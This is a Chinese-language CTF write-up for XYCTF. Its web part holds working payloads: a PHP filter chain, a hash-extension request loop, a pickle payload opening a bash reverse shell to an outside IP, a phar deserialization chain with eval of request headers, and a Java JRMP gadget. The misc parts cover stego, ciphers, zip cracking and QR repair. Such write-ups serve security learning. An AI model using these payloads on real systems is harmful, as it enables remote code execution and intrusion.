1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php highlight_file (__FILE__ );error_reporting (0 );$p =$_GET ['p' ];if (preg_match ("/http|=|php|file|:|\/|\?/i" , $p )){ die ("waf!" ); } $payload ="php://filter/$p /resource=/etc/passwd" ;if (file_get_contents ($payload )==="XYCTF" ){ echo file_get_contents ('/flag' ); }
考察php_filter_chain
给了环境本地测试发现存在脏数据
加string.strip_tags过滤器来去除php标签
构造XYCTF<?php
payload:
1 ?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags
give me flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include ('flag.php' );$FLAG_md5 = md5 ($FLAG );if (!isset ($_GET ['md5' ]) || !isset ($_GET ['value' ])){ highlight_file (__FILE__ ); die ($FLAG_md5 ); } $value = $_GET ['value' ];$md5 = $_GET ['md5' ];$time = time ();if (md5 ($FLAG .$value .$time )===$md5 ){ echo "yes, give you flag: " ; echo $FLAG ; }
代码逻辑 :
程序检查md5
和value
参数是否存在
计算md5($FLAG . $value . $time)
并与传入的$md5
比较
若相等则输出Flag
项目
https://github.com/shellfeel/hash-ext-attack
将时间戳提前,然后写脚本一直请求
根据平台特性是动态flag 位数是固定的43位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsurl = 'http://gz.imxbt.cn:20304/?md5=6a1dd8a8218c78d9026afb125c993a70&value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00' while True : res = requests.get(url=url) if "XYCTF" in res.text: print (res.text) break
login 框架为flask
先在/register.php注册
cookie解码
base64解码
看到app猜测是pickle(反)序列化
1 2 3 4 5 6 7 import pickleimport base64import pickletoolscookie = "gASVNgAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwFYWRtaW6UjANwd2SUjAVhZG1pbpR1Yi4=" data = base64.b64decode(cookie) print (pickletools.dis(data))
确实为pickle(反)序列化
fuzz发现过滤了R,r字符
⽤o字节码绕过过滤
1 2 3 4 5 6 7 8 9 ( ctimeit.timeit, # 导入 ctimeit 模块的 timeit 函数 ( math.cos, # 导入 math 模块的 cos 函数 os.system, # 导入 os 模块的 system 函数 shell, # 要执行的 shell 命令 (os.system, (shell,)) # 调用 system(shell) ) )
1 2 3 4 5 6 7 8 9 10 11 12 import base64shell = b'''bash -c "bash -i >& /dev/tcp/8.8.8.8/39010 0<&1"''' payload = b'''(ctimeit timeit (cos system V''' + shell + b''' oo.''' print (base64.b64encode(payload).decode())
参考:
https://xz.aliyun.com/news/11253
pharme class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );highlight_file (__FILE__ );class evil { public $cmd ; public $a ; public function __destruct ( ) { if ('ch3nx1' === preg_replace ('/;+/' ,'ch3nx1' ,preg_replace ('/[A-Za-z_\(\)]+/' ,'' ,$this ->cmd))){ eval ($this ->cmd.'isbigvegetablechicken!' ); } else { echo 'nonono' ; } } } if (isset ($_POST ['file' ])){ if (preg_match ('/^phar:\/\//i' ,$_POST ['file' ])) { die ("nonono" ); } file_get_contents ($_POST ['file' ]); }
preg_replace(‘/;+/‘,’ch3nx1’,preg_replace(‘/[A-Za-z_]+/‘,’’,$this->cmd)))这段正则是将输入中的字母、下划线和括号都移除,并将连续的分号替换为字符串 ‘ch3nx1’ ,最后与’ch3nx1’比较判真
其实就是个白名单,只能含有字母A-Z,a-z,下划线_和左右括号(),其实也就是无参RCE 此外,eval中的字符串是拼接的,且不能用#和//进行注释,则要用__halt_compiler来终止编译
生成phar包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class evil { public $cmd ; public $a ; } @unlink ('poc.phar' ); $phar =new Phar ('test.phar' ); $phar ->startBuffering (); $phar -> setStub ('GIF89a' .'<?php __HALT_COMPILER();?>' ); $o =new evil ();$o -> cmd='print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler();' ;$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" ,"test" ); $phar ->stopBuffering ();?>
文件上传存在典型检测 __HALT_COMPILER被过滤了 将生成的Phar文件进行gzip压缩绕过即可 gzip压缩后,修改后缀为jpg /png
在 PHP 中,__halt_compiler() 是一个特殊的语言结构,用于在脚本中立即停止编译器的解析。这意味着,该函数之后的任何 PHP 代码都不会被编译器解析为 PHP 代码,但这些数据依然可以作为文件的一部分存在,可以通过 PHP 的 I/O 函数访问。
使用场景和目的:
数据存储 :__halt_compiler() 常见于将数据直接嵌入到 PHP 脚本文件中的情况。这使得可以在一个文件中同时包含执行代码和非执行数据,如安装脚本、自解压脚本等。
混合内容 :可以在 PHP 文件中混合使用 PHP 代码和任意其他数据,不需要担心编译器会尝试解析那些非 PHP 数据。
创建 PHAR 文件 :PHAR (PHP Archive) 文件格式广泛使用 __halt_compiler() 来分隔 PHAR 元数据和包含的文件数据。
再过掉phar://开头的正则
1 file=php://filter/convert.base64-encode/resource=phar:///tmp/23f1a0f70f076b42b5b49f24ee28f696.png
baby_unserialize 考点:Java反序列化+Jrmp绕过黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package org.example; import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Base64; public class JRMP { public static void main (String[] args) throws Exception { ObjID id = new ObjID (); TCPEndpoint te = new TCPEndpoint ("124.222.136.33" , 1338 ); LiveRef liveRef = new LiveRef (id, te, false ); UnicastRef ref = new UnicastRef (liveRef); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler (ref); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(obj); oos.close(); byte [] byteArray = barr.toByteArray(); String res = Base64.getEncoder().encodeToString(byteArray); System.out.println(res); } }
MISC 真>签到
010查看拿到flag
EZ_Base1024*2 1 מಥൎࢺଳɫअΥٻଯԢڥիɺ୦ࢸЭਘמۊիɎඥࡆڣߣಷܤҾয౽5
https://nerdmosis.com/tools/encode-and-decode-base2048
base2048解密
熊博士 小字条内容
1 CBXGU{ORF_BV_NVR_BLF_CRZL_QQ}
Atbash Cipher
或者使用随波逐流一键梭哈
game adwa最近迷恋上了一款游戏,他给我们发了这款游戏里的一个解密项目,请你根据这张图片,找出这个游戏的英文名
社工
XYCTF{Papers, Please}
zzl的护理小课堂
理应为100分可以得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 document .getElementById ('quizForm' ).addEventListener ('submit' , function (event ) { event.preventDefault (); var formData = new FormData (this ); var xhr = new XMLHttpRequest (); xhr.open ('POST' , 'getScore.php' , true ); xhr.onreadystatechange = function ( ) { if (xhr.readyState === 4 && xhr.status === 200 ) { var score = xhr.responseText ; if (score == 100 ) { document .getElementById ('scoreDisplay' ).innerText = "你的分数是: " + score + "/100 杂鱼,怎么才100分啊" ; } else if (score < 100 ) { document .getElementById ('scoreDisplay' ).innerText = "你的分数是: " + score + "/100 noooooob!!" ; } else { var flagXhr = new XMLHttpRequest (); flagXhr.open ('GET' , 'flag.php' , true ); flagXhr.onreadystatechange = function ( ) { if (flagXhr.readyState === 4 && flagXhr.status === 200 ) { var flag = flagXhr.responseText ; document .getElementById ('scoreDisplay' ).innerText = "Flag: " + flag; } }; flagXhr.send (); } } }; xhr.send (formData); });
当分数大于100时返回flag
访问/flag.php
控制台输入
1 2 3 4 5 6 7 8 9 var flagXhr = new XMLHttpRequest(); flagXhr.open('GET', 'flag.php', true); flagXhr.onreadystatechange = function() { if (flagXhr.readyState === 4 && flagXhr.status === 200) { var flag = flagXhr.responseText; console.log(flag); } }; flagXhr.send(); // 发送请求获取 flag
使其直接console.log(flag)而非根据scoreDisplay来判断是否输出flag
出题有点烦
解压得到5张图片
1.jpeg补全文件头后
得到假flag
2.png为jpeg 补全文件头
3.png为jpeg 补全文件头
5.pngbinwalk提到一个加密的zip
由文件名猜测密码为xyctf
解压得到flag
ez_隐写 下载的zip进行伪加密修复
得到一张图片和压缩包
hint.png修复宽高得到提示
密码为20240401
解压压缩包得到一张图片
文件名为WATERMARK 是一个盲水印工具名称
ZIP神之套
exe拖进cmd执行
压缩包掩码攻击
套娃
二者文件内容文件名都一样,直接明文攻击,使用工具为 ARCHPR
美妙的歌声 audacity打开
查看频谱图向下拉长
得到可:XYCTF_1s_w3ll
deepsound解密得flag
Ez_osint https://www.hi2future.com/
https://www.hi2future.com/Mail/showitem/id/494468?from=showlist2
网络追踪 名为JFTQ的黑客使用某种不为人知的手段渗透进了一个不太安全的系统里 聪明的ctfer 你知道他是怎么做到的吗
正则搜flag
1 hK3Z1J2NvNa3fNJxaP43bTEfbb7zafODbacFaP43bte0wtPmDvvmOK3Z1J2NvhuNqqtdmuOL1Zb91ZbM-TPapVQCO7eyODXyK5iiSOVCaRhiOQiiKwUCOIjiSOhVCSffyKDcmXbZ95Zd8TZW91Zg6zaXd9ZW7QUt9WhuNSottGcLyWzayWVXCWzhbiOCdGZTu6urtMyKuNqqtdmuQqVZP4nYjPzbZ8XbacHaj6zah7vbacF1JYLbhj7PZXvRx0iGyWyywaZVNEpF4Sn2iAGsl9X3TC1UsLnUsLnVTEpN39H6kA1Yh3An2kAro+
编码为XXencode ,解码得到
XYCTF{fake_flag}
1 2 3 真正的flag格式: XYCTF{靶机ip地址_nmap扫描出的靶机开放的端口(由大到小排列 中间用_进行连接)_获取靶机shell使用的漏洞的CVE编号} 例:XYCTF{1.1.1.1_888_88_8_CVE-2009-3103}
回[SYN,ACK]的那三个TCP流量所展示的端口就是开放端口 135,139,445 然后因为是受害者回应攻击者,所以靶机IP为回应IP,即 192.168.204.133
https://www.exploit-db.com/exploits/7104
XYCTF{192.168.204.133_445_139_135_CVE-2008-4250}
我的二维码为啥扫不出来?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from PIL import Imageimport randomdef reverse_color (x ): return 0 if x == 255 else 255 def reverse_row_colors (pixels, row, width, block_size=10 ): for x_block in range (width // block_size): x = x_block * block_size y = row * block_size for x_small in range (x, x + block_size): for y_small in range (y, y + block_size): pixel = pixels[x_small, y_small] pixels[x_small, y_small] = reverse_color(pixel) def reverse_col_colors (pixels, col, height, block_size=10 ): for y_block in range (height // block_size): x = col * block_size y = y_block * block_size for x_small in range (x, x + block_size): for y_small in range (y, y + block_size): pixel = pixels[x_small, y_small] pixels[x_small, y_small] = reverse_color(pixel) original_img = Image.open ("flag.png" ) new_img = original_img.copy() width, height = new_img.size pixels = new_img.load() count = 0 while count < 7 : x = random.randint(0 , 1 ) if x == 0 : reverse_col_colors(pixels, random.randint(0 , height // 10 - 1 ), height) else : reverse_row_colors(pixels, random.randint(0 , width // 10 - 1 ), width) count += 1 new_img.save("new.png" )
分析代码,发现是对flag.png进行了7次操作,每次抽取随机一行或列,将像素颜色反转(每十个像素一行/列)。观察图片发现第二行,第一列,第三列,第六列明显进行了反转操作,编写代码将其颜色反转
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from PIL import Imageimport randomdef reverse_color (x ): return 0 if x == 255 else 255 def reverse_row_colors (pixels, row, width, block_size=10 ): for x_block in range (width // block_size): x = x_block * block_size y = row * block_size for x_small in range (x, x + block_size): for y_small in range (y, y + block_size): pixel = pixels[x_small, y_small] pixels[x_small, y_small] = reverse_color(pixel) def reverse_col_colors (pixels, col, height, block_size=10 ): for y_block in range (height // block_size): x = col * block_size y = y_block * block_size for x_small in range (x, x + block_size): for y_small in range (y, y + block_size): pixel = pixels[x_small, y_small] pixels[x_small, y_small] = reverse_color(pixel) original_img = Image.open ("new.png" ) new_img = original_img.copy() width, height = new_img.size pixels = new_img.load() reverse_row_colors(pixels, 1 , height) reverse_col_colors(pixels, 0 , height) reverse_col_colors(pixels, 2 , height) reverse_col_colors(pixels, 5 , height) ''' count = 0 while count < 7: x = random.randint(0, 1) if x == 0: reverse_col_colors(pixels, random.randint(0, height // 10 - 1), height) else: reverse_row_colors(pixels, random.randint(0, width // 10 - 1), width) count += 1 ''' new_img.save("neww.png" )
在正常的二维码中,我画出的这一列和这一行是一黑一白交替的像素,而我们上述图明显不是如此,所 以我们要按照一黑一白的原理来进行修复
手动修复
1 2 3 reverse_row_colors(pixels, 12, height) reverse_col_colors(pixels, 10, height) reverse_col_colors(pixels, 11, height)
爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from PIL import Imagefrom pyzbar.pyzbar import decodeimport randomdef reverse_color (x ): return 0 if x == 255 else 255 def reverse_row_colors (pixels, row, width, block_size=10 ): for x_block in range (width // block_size): x = x_block * block_size y = row * block_size for x_small in range (x, x + block_size): for y_small in range (y, y + block_size): pixel = pixels[x_small, y_small] pixels[x_small, y_small] = reverse_color(pixel) def reverse_col_colors (pixels, col, height, block_size=10 ): for y_block in range (height // block_size): x = col * block_size y = y_block * block_size for x_small in range (x, x + block_size): for y_small in range (y, y + block_size): pixel = pixels[x_small, y_small] pixels[x_small, y_small] = reverse_color(pixel) def decode_qr_code (image_path ): image = Image.open (image_path) decoded_objects = decode(image) if decoded_objects: return decoded_objects[0 ].data.decode('utf-8' ) else : return None original_img = Image.open ("neww.png" ) width, height = original_img.size pixels = original_img.load() count = 0 while True : modified_img = original_img.copy() pixels_modified = modified_img.load() for _ in range (3 ): x = random.randint(0 , 1 ) if x == 0 : reverse_col_colors(pixels_modified, random.randint(0 , height // 10 - 1 ), height) else : reverse_row_colors(pixels_modified, random.randint(0 , width // 10 - 1 ), width) modified_img.save("modified.png" ) result = decode_qr_code("modified.png" ) if result: print ("Found QR code in modified.png:" , result) break count += 1 if count % 100 == 0 : print ("Tried" , count, "modifications, no QR code found yet." )
彩蛋? 复现无当时环境
参考常乐村驾校战队的WP
TCPL
直接运行报错
010查看发现是/lib/ld-linux-riscv64-lp64d.so.1
https://blog.csdn.net/yueyuanhuaqing/article/details/123993462
FLAG{PLCT_An4_r0SCv_x0huann0}
以下未复现: